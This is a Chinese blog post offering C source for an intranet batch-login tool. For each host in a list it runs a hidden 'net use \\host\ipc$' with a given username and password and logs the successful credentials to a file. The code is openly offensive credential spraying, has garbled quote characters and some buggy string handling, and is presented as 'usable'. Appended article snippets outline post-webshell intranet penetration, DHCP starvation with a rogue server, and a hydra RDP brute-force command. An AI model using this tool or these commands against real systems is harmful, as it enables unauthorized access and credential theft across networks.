内网批量测试登录机器工具

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>

struct ThreadParameter{
    char Filename[MAX_PATH];
    char szusername[MAX_PATH];
    char szpassword[MAX_PATH];
};

bool LoginCompter(LPVOID pParam)
{
    FILE* fp;
    FILE* ffp;
    char readbuffer[1024],savebuffer[120];
    ThreadParameter *tp = (ThreadParameter *)pParam;
    char cmd[MAX_PATH];
    char delcmd[MAX_PATH];
    char Buffer[4096];
    STARTUPINFO sInfo,info;
    PROCESS_INFORMATION pInfo;
    SECURITY_ATTRIBUTES sa;
    HANDLE hRead,hWrite;
    DWORD bytesRead;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;

    fp = fopen(tp->Filename,"rb");
    if (fp == NULL)
    {
        printf("Open file in error.\r\n");
        fclose(fp);
        return 0;
    }

    ffp = fopen("suscess.txt","a+");
    if (ffp == NULL)
    {
        printf("save fopen file error.\r\n");
        fclose(ffp);
        return -1;
    }

    memset(readbuffer,0,sizeof(readbuffer));
    while (fgets(readbuffer,sizeof(readbuffer),fp))
    {
        if (!CreatePipe(&hRead,&hWrite,&sa,0)) //创建匿名管道
        {
            printf("CreatePipe failed (%d)!\n", GetLastError());
            return false;
        }

        GetStartupInfo(&sInfo);
        sInfo.cb = sizeof(sInfo);
        sInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        sInfo.wShowWindow = SW_HIDE;
        sInfo.hStdError = hWrite;   //将管道的写端交给子进程
        sInfo.hStdOutput = hWrite;
        memset(&pInfo, 0, sizeof(pInfo));

        int len = strlen(readbuffer);

        if (readbuffer[len-1] == ‘\n‘)
        {
            readbuffer[len    -2] = ‘\0‘;
        }
        memset(cmd,0,sizeof(cmd));
        memset(delcmd,0,sizeof(delcmd));
        //    memset(savebuffer,0,sizeof(savebuffer));
        sprintf(cmd,"cmd.exe /c net use %s\\ipc$ %s /u:%s",readbuffer,tp->szpassword,tp->szusername);
        if(!CreateProcessA(NULL, cmd    , NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo)) //创建子进程
        {
            printf("CreateProcess failed (%d)!\n", GetLastError());
            CloseHandle(hWrite);
            CloseHandle(hRead);
            return false;
        }
        CloseHandle(hWrite); //关闭父进程的写端

        while (1)
        {
            memset(Buffer,0,sizeof(Buffer));
            ReadFile(hRead,Buffer,sizeof(Buffer),&bytesRead,NULL);
            if (bytesRead <= 2)
            {
                break;
            }

            if (strstr(Buffer,"successfully"))
            {
                memset(savebuffer,0,sizeof(savebuffer));
                sprintf(savebuffer,"Host:%s Username:%s Passwords:%s suscess",readbuffer,tp->szusername,tp->szpassword);
                printf(savebuffer);
                printf("\r\n");
                fwrite(savebuffer,120,1,ffp);
                fwrite("\r\n",2,1,ffp);
                sprintf(delcmd,"cmd.exe /c net use %s\\ipc$ /del",readbuffer);
                system(delcmd);
            }
        }
    }
    fclose(fp);
    fclose(ffp);
    WaitForSingleObject(pInfo.hProcess, INFINITE); //等待线程退出
    CloseHandle(hRead); //关闭句柄
    return true;
}

int main(int argc,char* argv[])
{
    ThreadParameter tp;
    HANDLE threadhandle;
    if (argc < 4)
    {
        printf("[-]:%s Compute_list Username Password\r\n",argv[0]);
        return -1;
    }
    strcpy(tp.Filename,argv[1]);
    strcpy(tp.szusername,argv[2]);
    strcpy(tp.szpassword,argv[3]);

    threadhandle = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)LoginCompter,&tp,0,0);
    if (threadhandle == INVALID_HANDLE_VALUE)
    {
        printf("Create Thread error :%d \r\n",GetLastError());
        return -1;
    }
    WaitForSingleObject(threadhandle,INFINITE);
    CloseHandle(threadhandle);
    return 0;
}

代码 写的很弱,但是能用。如果你对这个代码抱有强烈的批评心或者甚至是恶心的地步。还请指出来,虚心接受批评。

时间: 2024-08-14 00:22:45

内网批量测试登录机器工具的相关文章

内网穿透测试

个人用ngrok小工具做一个内网穿透测试,原理就是反向代理 http://531699aa.ngrok.io/proWms/prowmsapi/oms/receiveStockOutOrder 原文地址:http://blog.51cto.com/9381188/2104019

内网渗透测试思路-FREEBUF

(在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接,针对linux想办法使用反弹shell来本地连接. ① Webshell应该都可以调用系统cmd执行一些简单的命令,那么whoami(查看当前权限),netuser(查看用户/组),systeminfo(查看系统补丁修复情况)等常见命令应该是首先被执行 探测的. I: 不具备系统权限: ①  Ser

DHCP服务器内网攻击测试

原文地址:http://www.freebuf.com/articles/network/74995.html 通常内网渗透都是基于ARP的攻击,但ARP攻击对内网的负担太重,很容易被发现.今天讲的是基于DHCP协议的攻击. 基于DHCP的攻击理解起来很简单,首先伪造Mac地址耗竭正常的DHCP服务器的IP地址,然后黑客用自己的主机伪造一个DHCP服务器,那么新连上内网的主机只能使用流氓DHCP服务器分配的IP,这样黑客的主机就变成了内网网关,可以借此控制内网中其他主机的网络流量. 攻击环境 操

内网渗透测试 3389 爆破

kali linux 下渗透测试,3389 批量爆破神器 hydra -M target.txt rdp -L userlist.txt -P passwordlist.txt -V

NTP配置内网中集群机器的时间同步

[[email protected] ~]$ rpm -qa|grep ntp [[email protected] ~]$ sudo vim /etc/ntp.conf restrict 192.168.8.0 mask 255.255.252.0 nomodify notrap #server 0.centos.pool.ntp.org #server 1.centos.pool.ntp.org #server 2.centos.pool.ntp.org server  127.127.1.

使用Holer远程桌面登录家里电脑和公司内网电脑

1. Holer工具简介 Holer exposes local servers behind NATs and firewalls to the public internet over secure tunnels. Support forwarding message based on TCP protocol. Holer是一个免费开源的内网穿透工具,它可以将局域网服务器代理到公网的内网穿透工具,支持转发基于TCP协议的报文. Holer地址:https://github.com/Wis

如何正确选择内网访问工具

如果没有公网ip的话,外网与内网的计算机节点连接通信时,需要能够顺利的进入到内网,为了实现这个过程,有很多现成的技术,比如ngrok,花生壳,零遁,vps,虚拟局域网,等等.表面看起来实现的是同一个功能,但是细节上差别还是很大的.首先ngrok呢,是一种软件,是做的一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道.类似ngrok的软件还有很多的,它们主要用于在本地建网站来让外网访问到,由于软件是国外的,所以目前能接触到的都是国内的代理,所以适合用来建小网站.在这里

内网渗透思路

Sky's自留地 关注互联网安全,关注安全&攻击技术. 搜索关键字搜索 首页申请链接 内网渗透测试思路[转自网络] 作者: sky 孵化于: March 15, 2015 家属: 学习类,技术类 访问: 2,136 次 写在前面渗透测试是门技术,也是一门艺术.这门技术(艺术)一开始也不是每个人都会的,正所谓没有人一出生就会走路,从不懂到入门到深谙,一步步慢慢来,每个人都是这样:但是在这个过程中,思路无疑是最重要的,没有做不到只有想不到,就跟咱们高中解题时有了思路就迎刃而解一样,手里拿着铲子(技巧

内网渗透常用手法

作者:凋凌玫瑰来源:NCPH 内网,很多人应该形成了这个概念,很多大型网络的外部网站或是服务器不一定有用,当然外网也是一个突破口.很多时候我们直接从外网入手,随着安 全的不断加固,已变得越来越困难.那么黑客通常是怎么进行内网渗透的,内网渗透又是怎样与社会工程学联系起来呢,今天主要描述黑客内网渗透的常用操作手 法,关于如何获得内网机器,请查找我以前的一篇文章<内网渗透—如何打开突破口>. 渗透的过程就是一个信息刺探.利用.思考.突破的过程.首先在我们获得一台内网的机器后应该怎么做,当然是信息刺探